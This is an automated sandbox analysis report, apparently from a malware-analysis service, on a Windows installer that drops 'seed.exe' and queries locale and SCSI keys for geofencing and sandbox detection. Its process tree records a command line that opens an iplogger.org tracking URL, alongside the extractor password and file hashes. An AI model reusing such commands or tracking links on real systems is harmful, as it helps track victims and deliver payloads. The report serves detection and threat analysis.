cf1b38106e42989ddffb99e0163787135e7b294c5d5e88e3b47ca1b7cd0d6681

Analysis

max time kernel
143s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05-11-2024 08:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0x000100000001ab9c-70.exe
Size

977KB
MD5

5c6684e8c2b678de9e2776c6b50ddd72
SHA1

7d255100d811de745e6ee908d1e0f8ba4ff21add
SHA256

bb5d2c07ce902c78227325bf5f336c04335874445fc0635a6b67ae5ba9d2fefc
SHA512

f627ca67610f9d5c137bdae8b3f8f6c08ff9162d12b3e30d3886c72aec047d34e31b5f0e17120dc99d71b0c316e43bb946fc5d40a9babec7229ce3a3c9292acb
SSDEEP

24576:AyImjLox0UGnen302pqa5ugHd+XfyvS+x8eoSg1vpADsF:Ayju0U8e302pcgHd+X66+twvpr

Score

7^/10

discovery

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	seed.sfx.exe

Executes dropped EXE 3 IoCs

pid	Process
2256	0x000100000001ab9c-70.tmp
4044	seed.sfx.exe
1400	seed.exe

Loads dropped DLL 1 IoCs

pid	Process
1400	seed.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	iplogger.org
33	iplogger.org

Drops file in Program Files directory 36 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\RearRips\is-P9SQD.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-8439A.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\is-1GFU8.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\unins000.dat	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\is-LF0JF.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-02PMK.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\lang\is-G3NFF.tmp	0x000100000001ab9c-70.tmp
File opened for modification	C:\Program Files (x86)\RearRips\unins000.dat	0x000100000001ab9c-70.tmp
File opened for modification	C:\Program Files (x86)\Seed Trade\Seed	seed.sfx.exe
File created	C:\Program Files (x86)\Seed Trade\Seed\__tmp_rar_sfx_access_check_240651531	seed.sfx.exe
File created	C:\Program Files (x86)\RearRips\is-BH7GG.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\is-SS8K6.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\is-1QFVD.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-EV3AB.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-MVTPV.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-7QSKK.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-9SF63.tmp	0x000100000001ab9c-70.tmp
File opened for modification	C:\Program Files (x86)\RearRips\seed.sfx.exe	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\is-976F0.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-N56I7.tmp	0x000100000001ab9c-70.tmp
File opened for modification	C:\Program Files (x86)\Seed Trade	seed.sfx.exe
File opened for modification	C:\Program Files (x86)\RearRips\DreamTrip.exe	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-1QOK3.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-12BS9.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-5N0QB.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-1O3CR.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\Seed Trade\Seed\seed.exe	seed.sfx.exe
File opened for modification	C:\Program Files (x86)\Seed Trade\Seed\seed.exe	seed.sfx.exe
File created	C:\Program Files (x86)\RearRips\is-LRHUB.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-FPLT7.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-7EGMI.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\lang\is-MH5F7.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-T809O.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-RO260.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\is-ANRBV.tmp	0x000100000001ab9c-70.tmp
File created	C:\Program Files (x86)\RearRips\images\is-J8R3B.tmp	0x000100000001ab9c-70.tmp

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4944	1400	WerFault.exe	103

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0x000100000001ab9c-70.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0x000100000001ab9c-70.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	seed.sfx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	seed.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	seed.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	seed.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	seed.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2256	0x000100000001ab9c-70.tmp
2256	0x000100000001ab9c-70.tmp
2236	msedge.exe
2236	msedge.exe
2980	msedge.exe
2980	msedge.exe
4832	identity_helper.exe
4832	identity_helper.exe
4432	msedge.exe
4432	msedge.exe
4432	msedge.exe
4432	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
2256	0x000100000001ab9c-70.tmp
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe
2980	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3276 wrote to memory of 2256	3276	0x000100000001ab9c-70.exe	86
PID 3276 wrote to memory of 2256	3276	0x000100000001ab9c-70.exe	86
PID 3276 wrote to memory of 2256	3276	0x000100000001ab9c-70.exe	86
PID 2256 wrote to memory of 4044	2256	0x000100000001ab9c-70.tmp	100
PID 2256 wrote to memory of 4044	2256	0x000100000001ab9c-70.tmp	100
PID 2256 wrote to memory of 4044	2256	0x000100000001ab9c-70.tmp	100
PID 2256 wrote to memory of 1596	2256	0x000100000001ab9c-70.tmp	101
PID 2256 wrote to memory of 1596	2256	0x000100000001ab9c-70.tmp	101
PID 2256 wrote to memory of 1596	2256	0x000100000001ab9c-70.tmp	101
PID 4044 wrote to memory of 1400	4044	seed.sfx.exe	103
PID 4044 wrote to memory of 1400	4044	seed.sfx.exe	103
PID 4044 wrote to memory of 1400	4044	seed.sfx.exe	103
PID 1596 wrote to memory of 2980	1596	cmd.exe	105
PID 1596 wrote to memory of 2980	1596	cmd.exe	105
PID 2980 wrote to memory of 1808	2980	msedge.exe	107
PID 2980 wrote to memory of 1808	2980	msedge.exe	107
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 4896	2980	msedge.exe	108
PID 2980 wrote to memory of 2236	2980	msedge.exe	109
PID 2980 wrote to memory of 2236	2980	msedge.exe	109
PID 2980 wrote to memory of 2480	2980	msedge.exe	110
PID 2980 wrote to memory of 2480	2980	msedge.exe	110
PID 2980 wrote to memory of 2480	2980	msedge.exe	110
PID 2980 wrote to memory of 2480	2980	msedge.exe	110
PID 2980 wrote to memory of 2480	2980	msedge.exe	110
PID 2980 wrote to memory of 2480	2980	msedge.exe	110

C:\Users\Admin\AppData\Local\Temp\0x000100000001ab9c-70.exe
"C:\Users\Admin\AppData\Local\Temp\0x000100000001ab9c-70.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3276
- C:\Users\Admin\AppData\Local\Temp\is-7QG1N.tmp\0x000100000001ab9c-70.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-7QG1N.tmp\0x000100000001ab9c-70.tmp" /SL5="$80062,748569,121344,C:\Users\Admin\AppData\Local\Temp\0x000100000001ab9c-70.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Program Files (x86)\RearRips\seed.sfx.exe
    "C:\Program Files (x86)\RearRips\seed.sfx.exe" -pK2j8l614 -s1
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Program Files (x86)\Seed Trade\Seed\seed.exe
      "C:\Program Files (x86)\Seed Trade\Seed\seed.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Checks SCSI registry key(s)
      PID:1400
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1400 -s 392
        5⤵
        Program crash
        
        PID:4944
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c "start https://iplogger.org/14Zhe7"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/14Zhe7
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2980
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffdf67546f8,0x7ffdf6754708,0x7ffdf6754718
        5⤵
        
        PID:1808
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2016 /prefetch:2
        5⤵
        
        PID:4896
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2236
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2744 /prefetch:8
        5⤵
        
        PID:2480
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
        5⤵
        
        PID:3048
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
        5⤵
        
        PID:2196
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4768 /prefetch:8
        5⤵
        
        PID:3760
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4768 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5212 /prefetch:1
        5⤵
        
        PID:4080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5204 /prefetch:1
        5⤵
        
        PID:2296
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1
        5⤵
        
        PID:1972
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:1
        5⤵
        
        PID:3404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1972,10816690220769555998,16418522907192842817,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5780 /prefetch:2
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4432

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1772

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1400 -ip 1400
1⤵
PID:2296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\RearRips\DreamTrip.exe

Filesize
796KB

MD5
7ec2dc7b1f8f981bda11868fd9493234

SHA1
4a4ee59a6b9ea0ae9c609386581463e1a0294133

SHA256
1de138bb3e707b6d6e0c8f5242444ff9f1c84882d18a00e3da36a8547f6343c9

SHA512
f985453c1c4049c00e75891bd4159765ac59f0040c6ee99d179b5719ef392911a25eb3194b82b3172a0852657feb20ebfb2fa91abe65f82357a4b9b2368f820e

Download Submit
C:\Program Files (x86)\RearRips\seed.sfx.exe

Filesize
422KB

MD5
440025c27c8de30f7ee0b415726b5a02

SHA1
877e3682135de61ec241c16fe258a1a5906f20e2

SHA256
a31cc4bf3dbead273e545711926580b65ff3c9d68f4e3103e3bfd28681fe81cd

SHA512
44396a1f77bf14e541502b9ff9f8d251e029ee6de05f1db62bacb7111d42a912b3085395229b0cc8f92704519cc4efabfe0b62b5272e1fc03df0974f8fa1e5dc

Download Submit
C:\Program Files (x86)\Seed Trade\Seed\seed.exe

Filesize
302KB

MD5
1b1d204ffccda58c9d6101e348c7bbb8

SHA1
bf73b49a7db21fa2bfbb111dc06a163f14b4f657

SHA256
e950963a8f60b5981af47607c54687c0e8d31edac56c03aafde552a418074ba7

SHA512
2295d8b7ea494db0727b0aca964c94035ff05e4a863e35027e0ab274392263a64d9b05ee5309d72aca20f6cf20019c547a3acc3d391ff2182af890874ac1a93f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
8749e21d9d0a17dac32d5aa2027f7a75

SHA1
a5d555f8b035c7938a4a864e89218c0402ab7cde

SHA256
915193bd331ee9ea7c750398a37fbb552b8c5a1d90edec6293688296bda6f304

SHA512
c645a41180ed01e854f197868283f9b40620dbbc813a1c122f6870db574ebc1c4917da4d320bdfd1cc67f23303a2c6d74e4f36dd9d3ffcfa92d3dfca3b7ca31a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
34d2c4f40f47672ecdf6f66fea242f4a

SHA1
4bcad62542aeb44cae38a907d8b5a8604115ada2

SHA256
b214e3affb02a2ea4469a8bbdfa8a179e7cc57cababd83b4bafae9cdbe23fa33

SHA512
50fba54ec95d694211a005d0e3e6cf5b5677efa16989cbf854207a1a67e3a139f32b757c6f2ce824a48f621440b93fde60ad1dc790fcec4b76edddd0d92a75d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
180B

MD5
4bc8a3540a546cfe044e0ed1a0a22a95

SHA1
5387f78f1816dee5393bfca1fffe49cede5f59c1

SHA256
f90fcadf34fbec9cabd9bcfdea0a63a1938aef5ea4c1f7b313e77f5d3f5bbdca

SHA512
e75437d833a3073132beed8280d30e4bb99b32e94d8671528aec53f39231c30476afb9067791e4eb9f1258611c167bfe98b09986d1877ca3ed96ea37b8bceecf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
277d08d99966918dbb4e4d8d505b4484

SHA1
6e53d260f8c35eae876fc791f8f28479a94c4ce1

SHA256
ad7aa9cedf62af91b6c14ab3105926a517224f54d5d98440360fa66693a4d280

SHA512
6ab99650c8618ae3b0488c5dde7a6e1daf7972905332fcfbcb9f8cb8bbb17f1f8a97719fa1dad7deee8e530056fa67ea890c7cc19bdec220c463f6d778a665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
6bc8ff475e2a55dcf99af68076602c6b

SHA1
57326c89c3b714f25a7b8bc893627ed921ea3eec

SHA256
c18dd723e54de9cb46c98d72586d06b3db2ee61136eadca9a8f529772f6328ac

SHA512
a7ac625ab9739f3dc294a3ff18d68b5fdb9259861ac54ea3d53683cba915b85e47b8d488c03d7c5e715adb3c49ff1f0d76a9f1c9235b68e15c13822b28e17f86

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
b11378bde78019cca69c2047aaec06e6

SHA1
866685722323321a84607a018bcbf9f8803ed088

SHA256
449d8b688231dd8947d64ffc5d9ff58b0bf701d16978fb7168012b3058ce988d

SHA512
615ca41f340aea6b56a120fda91bd7d61932232160e21cf671b38328867b141d2c279d8a0d7a311180c14b3168c92030aea822c3db6de83bd76b2ac62f78346c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1105.tmp

Filesize
1.6MB

MD5
4f3387277ccbd6d1f21ac5c07fe4ca68

SHA1
e16506f662dc92023bf82def1d621497c8ab5890

SHA256
767a3fc4a7a6818cdc3f0b99aaa95db694f6bcde719d2057a88b3d4df3d74fac

SHA512
9da199ac69e3c0d4e0c6307e0ab8178f12cc25cb2f14c3511f6b64e6e60a925c860f3263cb38353a97b55a71ef4d27f8cb7fa3cfc08e7c1a349fd8d209dfa219

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-7QG1N.tmp\0x000100000001ab9c-70.tmp

Filesize
764KB

MD5
1a8ac942e4c2302d349caaed9943360d

SHA1
a08ce743c3d90a2b713db3e58e747e7a00a32590

SHA256
db8341fc8e86f7b80fbe144aa9ceea3e3369b64dcd5998c5a7f186c304cfeb96

SHA512
d65e4f9846bb6fba5a8b4f9409b2576af041dfa9b453800c298ec810bd27cfcf28d1933bc79893aa79323654ab4b85e321b03eaf17d67f0e19c79749751e4aab

Download Submit
memory/1400-149-0x0000000000400000-0x00000000046CB000-memory.dmp

Filesize
66.8MB

Download
memory/2256-9-0x0000000000400000-0x00000000004CF000-memory.dmp

Filesize
828KB

Download
memory/2256-123-0x0000000000400000-0x00000000004CF000-memory.dmp

Filesize
828KB

Download
memory/2256-6-0x0000000000400000-0x00000000004CF000-memory.dmp

Filesize
828KB

Download
memory/3276-124-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/3276-2-0x0000000000401000-0x000000000040C000-memory.dmp

Filesize
44KB

Download
memory/3276-8-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/3276-0-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download